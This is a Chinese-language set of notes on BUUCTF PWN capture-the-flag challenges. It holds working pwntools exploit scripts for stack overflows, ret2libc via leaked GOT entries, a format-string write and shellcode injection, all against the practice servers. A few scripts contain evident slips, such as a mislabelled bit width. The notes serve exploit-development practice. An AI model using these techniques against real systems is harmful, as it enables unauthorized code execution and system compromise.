BUUCTF 刷题记录 PWN

1.nc

p = remote("node4.buuoj.cn",28085)

nc node4.buuoj.cn 28085

构造payload时:

使用p64()时报错:TypeError: can only concatenate str (not “bytes”) to str

解决:

在后面加上 decode(‘unicode_escape’)

如:

p64(0x00400596).decode('unicode_escape')

2.rip

最简单的栈溢出

https://www.buryia.top/2021/01/25/CTF/BUU/buu-pwn/

3.warmup_csaw_2016

检查过后确认是没有任何保护机制的 所以f5查看

看到gets 栈溢出

然后看到cat flag在哪个位置

确认了flag的地址 再确定溢出大小

使用 cyclic 工具先生成 200 个字符用于之后的输入

gdb 打开程序 r 开始运行,在输入点将 cyclic 生成的 200 个字符复制进去

此时程序会因为栈溢出而使返回地址出现错误停下来,汇编代码会停在 ret 位置

记录此时栈顶的前四个字符

退出 gdb,继续使用 cyclic 工具来计算具体需要填充的字符数

得到了结果:需要填充 72 个字符

from pwn import *

p = remote("node4.buuoj.cn",26951)

payload = 'a'*72 + p64(0x40060d) .decode('unicode_escape')#fun函数位置为0x401186

p.sendline(payload)

p.interactive()

4.ciscn_2019_n_1 1

64 位程序,有 NX 保护,堆栈内容不可执行

from pwn import *

p = remote("node4.buuoj.cn",29529)

payload = 'I'*20+ 'a' *4+p32(0x08048F0D) .decode('unicode_escape')

p.sendline(payload)

p.interactive()

5.jarvisoj_level0

from pwn import *

p = remote("node4.buuoj.cn",29661)

payload = 'a'*(0x80+8)+p64(0x400596) .decode('unicode_escape')

p.sendline(payload)

p.interactive()

7 ciscn_2019_c_1

可以了解到的是,在 gets 获取输入后会对字符串进行一个 xor(异或)操作

初步的思路是先在本地进行一次 xor 异或,再进行发送,这样的话两次异或就会将字符串恢复成想要的样子

(在查 writeup 的时候看到其他师傅有一种骚操作:payload 第一个字符写成’\0’来绕过加密函数…… 注意有一个 strlen 函数)

gets 的栈溢出意味着溢出内容可以很大很大,考虑直接用 puts 函数泄漏 puts 函数的 got 表,再用 LibcSearcher 进行查找

比较坑的点在最后一个 payload,此时 system 函数和 /bin/sh 的地址已经得到了,直接利用即可,但因为在 ubuntu18 上,有栈对齐这个问题…

则需要用 ret 去尝试进行栈对齐(本地 n 次可以,远程 n 次失败…)

额外提醒一个点,bss 不可执行

┌──(rootkali)-[/home/dys/桌面]

└─# ROPgadget --binary ciscn_2019_c_1 | grep "pop rdi" 1 ⨯

0x0000000000400c83 : pop rdi ; ret

https://www.cnblogs.com/chrysanthemum/p/12045330.html

[第五空间2019 决赛]PWN5

https://blog.csdn.net/hahahaboooo/article/details/117046925

from pwn import *

context.log_level = "debug"

r = remote("node4.buuoj.cn", 25837)

bss = 0x0804C044

payload = p32(bss) + b'%10$n'

r.recvuntil("your name:")

r.sendline(payload)

r.recvuntil("Hello,")

r.recvuntil("your passwd:")

r.send('4')

r.interactive()

[OGeek2019]babyrop

https://www.cnblogs.com/gaonuoqi/p/12366595.html

浏览程序可以看到函数中有一部分会将我们的输入与随机数进行对比,但是在之前有一个 strlen,payload 首字符填充’\0’就可以绕过

绕过后就有一个栈溢出了,libc 题目也给了,打印一个 got 算一下 libc 的偏移就可以直接获取 shell 了

from pwn import *

from LibcSearcher import *

context.log_level = 'debug'

r = remote("node4.buuoj.cn", 29939)

r = process('./pwn', env={"LD_PRELOAD":"./libc-2.23.so"})

elf = ELF("./pwn")

libc = ELF("./libc-2.23.so")

main = 0x08048825

write_plt = elf.plt['write']

read_got = elf.got['read']

payload = '\x00' + '\xff'*10

r.send(payload)

r.recvuntil("Correct\n")

payload = 'A'*(0XE7+4)+ p32(write_plt)+ p32(main)+ p32(1)+ p32(read_got)+ p32(4)

r.send(payload)

read_addr = u32(r.recv())

log.success("read_addr => {}".format(read_addr))

payload = '\x00' + '\xff'*10

r.send(payload)

r.recvuntil("Correct\n")

base = read_addr - libc.symbols['read']

sys_addr = base + libc.symbols['system']

bin_addr = base + libc.search("/bin/sh").next()

payload = 'a'*(0XE7+4)+ p32(sys_addr)+ 'aaaa'+ p32(bin_addr)

r.send(payload)

r.interactive()

ciscn_2019_n_8

直接用pwntools的ELF模块

elf.system()

from pwn import *

r = remote('node4.buuoj.cn',25147)

bin_sh = 0x804a024

elf=ELF('./level2')

system_addr = elf.sym['system']

payload = 'a'*140+p32(system_addr).decode('unicode_escape')+ 'aaaa' +p32(bin_sh).decode('unicode_escape')

r.sendlineafter('Input:',payload)

r.interactive()

get_started_3dsctf_2016

是判断调用这个函数时候的参数,那么我们可以不可以将返回地址溢出成带参数的呢?

大概就是这么布局:'a'*offset + 'ebp' + get_flag + get_flag的返回地址 + 参数1 + 参数2

bjdctf_2020_babystack

看到/bin/sh双击跟进,ctrl+x找到了后门函数,shell_addr=0x4006e6

from pwn import *

r = remote('node4.buuoj.cn',28445)

r.recvuntil("[+]Please input the length of your name:")

r.sendline("50")

r.recvuntil("[+]What's u name?")

r.recvuntil("Qual a palavrinha magica? ")

payload = 'a'*24+p64(0x4006e6).decode('unicode_escape')

r.sendline(payload)

r.interactive()

not_the_same_3dsctf_2016

https://blog.csdn.net/l2645470582_/article/details/121214866

from pwn import *

r = remote('node4.buuoj.cn',25260)

door = 0x080489A0

write = 0x0806E270

flag = 0x080ECA2D

payload = 'a'*(45)

payload += p32(door).decode('unicode_escape')

payload += p32(write) .decode('unicode_escape')+ 'aaaa' + p32(1) .decode('unicode_escape')+ p32(flag) .decode('unicode_escape')+ p32(0xffff).decode('unicode_escape')

r.sendline(payload)

r.interactive()

[HarekazeCTF2019]baby_rop

rop

pop

https://www.cnblogs.com/xlrp/p/14273707.html

┌──(rootkali)-[/home/dys/桌面]

└─# ROPgadget --binary babyrop |grep "pop rdi" 1 ⨯

0x0000000000400683 : pop rdi ; ret

jarvisoj_level2_x64

64位先将binsh这个参数放入,rdi寄存器中.紧接着返回并执行system函数

from pwn import *

r = remote('node4.buuoj.cn',27567)

payload='a'*(128+8)+p64(0x04006b3).decode('unicode_escape')+p64(0x600A90).decode('unicode_escape')+p64(0x4004C0).decode('unicode_escape')

r.sendline(payload)

r.interactive()

ciscn_2019_n_5

利用过程

利用第一个输入点,往name参数里写入shellcode

context(arch='amd64',os='linux') #用来导入pwntools模块

shellcode=asm(shellcraft.sh()) #利用pwntools模块自动生成shellcode

r.sendlineafter('tell me your name',shellcode) #往name中写入shellcode

利用第二个输入点,让v4溢出到name参数地址,去执行shellcode拿到shell

payload='a'*0x28+p64(0x601080) #让v4溢出到name参数地址

r.sendlineafter('What do you want to say to me?',payload)

exp

from pwn import*

r=remote('node3.buuoj.cn',27785)

context(arch='amd64',os='linux')

shellcode=asm(shellcraft.sh())

r.sendlineafter('tell me your name',shellcode)

payload='a'*0x28+p64(0x601080)

r.sendlineafter('What do you want to say to me?',payload)

r.interactive()

from pwn import *

r = remote('node4.buuoj.cn',29610)

bss = 0x0000000000601080

shell = asm(shellcraft.amd64.linux.sh(), arch = 'amd64')

payload = 'a'*(0x20+8) + p64(bss).decode('unicode_escape')

r.recvuntil("name")

r.sendline(shell)

r.recvuntil("me?")

r.sendline(payload)

r.interactive()

铁人三项(第五赛区)_2018_rop

https://blog.csdn.net/mcmuyanga/article/details/108939218

泄露libc版本

这边提一下write函数的原型

参数说明:

fd:是文件描述符(write所对应的是写,即就是1)

buf:通常是一个字符串,需要写入的字符串

count:是每次写入的字节数

payload = 'a'*(0x88+4) + p32(write_plt) + p32(main) + p32(1) + p32(write_got) + p32(4)

这边解释一下第一个payload

首先填充‘a’*(0x88+4)造成溢出,覆盖到返回地址,返回地址填上write函数的plt地址来调用write函数,之后跟上main函数地址(我们要将程序程序重新执行一遍,再次利用输入点来进构造rop)

p32(0)+p32(write_addr)+p32(4)是在设置write函数的参数,对应函数原型看一下,32位程序是4位,所以这边写的4,对应的64位程序是8位

————————————————

libc = LibcSearcher('puts',putsaddr)

libc_base = putsaddr - libc.dump('puts') #算出libc基地址

system = libc_base+libc.dump('system') #算出各函数的真实地址

bins = libc_base+libc.dump('str_bin_sh')

原文地址:https://www.cnblogs.com/socialbiao/p/15664468.html